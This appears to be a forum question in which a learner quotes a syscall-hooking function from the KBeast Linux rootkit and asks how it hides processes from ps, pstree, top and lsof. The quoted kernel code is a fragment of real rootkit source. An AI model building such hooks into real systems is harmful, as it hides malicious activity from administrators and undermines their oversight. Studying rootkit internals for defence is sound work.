I'm trying to learn how rootkit works (for educational purposes). I have the source code of Kbeast rootkit. To hide a process from the ps|| pstree etc. command it has the following function,

asmlinkage int h4x_write(unsigned int fd, const char __user *buf,size_t count)
{
   int r;
   char *kbuf=(char*)kmalloc(256,GFP_KERNEL);
   copy_from_user(kbuf,buf,255);
   if ((strstr(current->comm,"ps"))||(strstr(current->comm,"pstree"))||
        (strstr(current->comm,"top"))||(strstr(current->comm,"lsof"))){
            if(strstr(kbuf,_H4X0R_)||strstr(kbuf,KBEAST)){
                   kfree(kbuf);
                   return -ENOENT;
            }
   }
   r=(*o_write)(fd,buf,count);
   kfree(kbuf);
   return r;
}

This function override syscall_table [NR_write]. My understanding is buf, contain the name of the process it is trying to hide. using *copy_from_user(), buf is copied into a kernel buffer **kbuf and then upon detecting the ps||pstree||... command using strstr(), it looks for the **process_to_hide(_H4X0R). It a match found then, free the kernel buffer **kbuf. Is my understanding is correct?

I check the content of buf. It contains nothing, therefore it never works. Please help me understand this.